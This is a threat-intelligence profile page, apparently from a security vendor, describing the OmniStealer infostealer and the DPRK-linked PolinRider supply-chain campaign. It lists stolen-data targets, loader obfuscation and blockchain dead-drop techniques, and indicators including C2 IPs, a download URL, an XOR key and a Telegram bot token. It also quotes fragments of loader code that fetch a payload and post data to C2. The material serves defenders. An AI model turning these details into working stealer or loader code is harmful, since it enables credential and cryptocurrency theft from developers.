Loading malware…
OmniStealer is a Python-based information stealer observed in North Korea-linked developer-focused intrusion and supply-chain campaigns, including Contagious Interview and the PolinRider activity cluster. It has been delivered alongside the DEV#POPPER RAT through compromised GitHub repositories, malicious open-source packages, weaponized developer projects, and JavaScript loaders hidden in repositories or configuration files. Multiple reports describe loaders retrieving encrypted second-stage payloads from blockchain infrastructure, specifically TRON, Aptos, and BNB Smart Chain transaction data, before unpacking OmniStealer and DEV#POPPER on victim systems. The malware has been assessed as associated with DPRK-linked activity, including overlaps with Famous Chollima and Void Dokkaebi operations.
OmniStealer is described as exfiltrating cryptocurrency wallets, private keys, browser credentials, cookies, browser data, password vault data, development secrets, source code, environment variables, and other sensitive files from compromised developer workstations. Reported targets include browser data from Chrome, Edge, Brave, Opera, Vivaldi, Arc, Chromium, and Firefox; more than 60 cryptocurrency wallet browser extensions including MetaMask, Phantom, Trust Wallet, Coinbase Wallet, TronLink, Xverse, Keplr, and Rabby; password managers including 1Password, LastPass, Dashlane, NordPass, and Bitwarden; standalone wallet applications including Exodus, Electrum, Bitcoin Core, Dogecoin, Monero, and Solana CLI; and developer credentials such as ~/.git-credentials, Git config credentials, and GitHub CLI tokens. Reporting also states that observed payloads including OmniStealer were capable of remote command execution and communicated with attacker infrastructure via socket.io-client.
In the documented chain, a Python dropper downloaded a later stage from http://23.27.20.143:27017/$/z1 and decrypted it with XOR key 9KyASt+7D0mjPHFY. On Windows, the malware could install portable Python from /d/python.zip or /d/python.7z and retrieve 7zr.exe from the same C2 to support execution. OmniStealer exfiltration was reported over HTTP to /u/f with fallback to Telegram Bot API uploads. Related infrastructure and indicators directly mentioned in the reporting include C2 IPs 23.27.20.143, 136.0.9.8, 23.27.202.27, and 166.88.4.2; Telegram bot token 7870147428:AAGbYG_eYkiAziCKRmkiQF-GnsGTic_3TTU; Telegram chat IDs 7609033774, 7699029999, and 4697384025; and final OmniStealer payload SHA256 7a62286e68d879b45da710e1daa495978dcae31ae8f0709018a7d82343ec57e8. The malware has been observed in campaigns targeting software developers and cryptocurrency-sector victims, with defenders advised in the source reporting to treat affected environments as fully compromised.
Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
3 distinct threat actors attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.
The second stage of the attack introduces a Python-based stealer we've designated OmniStealer, which lives up to its name by exfiltrating virtually everything of value.
The decrypted payloads then deploy remote access malware, including DEV#POPPER RAT and OmniStealer, to exfiltrate data from the compromised systems.
In prior reports using the same blockchain-C2 infrastructure and overlapping wallet addresses, the loader ultimately delivered DPRK-linked malware including DEV#POPPER RAT, OmniStealer, and BeaverTail-family payloads.
26 distinct techniques documented for this family, organized by ATT&CK tactic.
PolinRider is a DPRK-linked supply-chain campaign... takes over legitimate GitHub accounts and quietly injects an obfuscated JavaScript loader into repositories the maintainer already owns.
It can also quietly launch a second hidden process in the background using child_process.spawn() with the windowsHide flag set to true, keeping everything out of sight on Windows systems.
The second stage of the attack introduces a Python-based stealer... The code shows... Fetches Stage 4 from http://[C2]:27017/$/z1.
PolinRider was first flagged ... as involving the threat actors implanting malicious obfuscated JavaScript payloads in hundreds of public GitHub repositories ... The latest wave, the payload functions as a JavaScript malware loader...
The code itself is so well obfuscated... String shuffling function... Array-based string obfuscation... Multi-layer encoding: Hex → Buffer → UTF8 → Reversed → XOR decryption.
More recent versions disguise the malicious script as a fake dot woff2 font file, a format most developers would never think to inspect.
The payloads observed so far include DEV#POPPER and OmniStealer... stealing credentials, browser data, and wallet information.
The payloads observed so far include DEV#POPPER and OmniStealer... stealing credentials, browser data, and wallet information.
InvisibleFerret implant (also reported as DEV#POPPER RAT and OmniStealer) for credential theft, browser-data theft, wallet exfiltration, and socket.io-based C2.
HTTP Request to C2: URL: http://23.27.20.143:27017/$/boot... requests.post(url, data=data, files=files)... WebSocket via socket.io.
The loader still resolves its second stage from blockchain dead-drops across TRON, Aptos, and BNB Smart Chain, decrypts it with embedded XOR keys, and runs it through eval().
22 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
IPs, domains, and DNS infrastructure linked to this family.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
Other indicator types observed in public reporting.
13 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
An information stealer delivered through compromised open source packages in the PolinRider campaign, aimed at stealing data and credentials from developer environments.
OmniStealer is a second-stage information-stealing payload deployed in the campaign to exfiltrate data from compromised developer systems.
A second-stage information-stealing malware delivered by the JavaScript loader used in the PolinRider activity.
A second-stage payload used in the PolinRider campaign to steal credentials, browser data, and cryptocurrency wallet information, with reported remote command execution capability.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.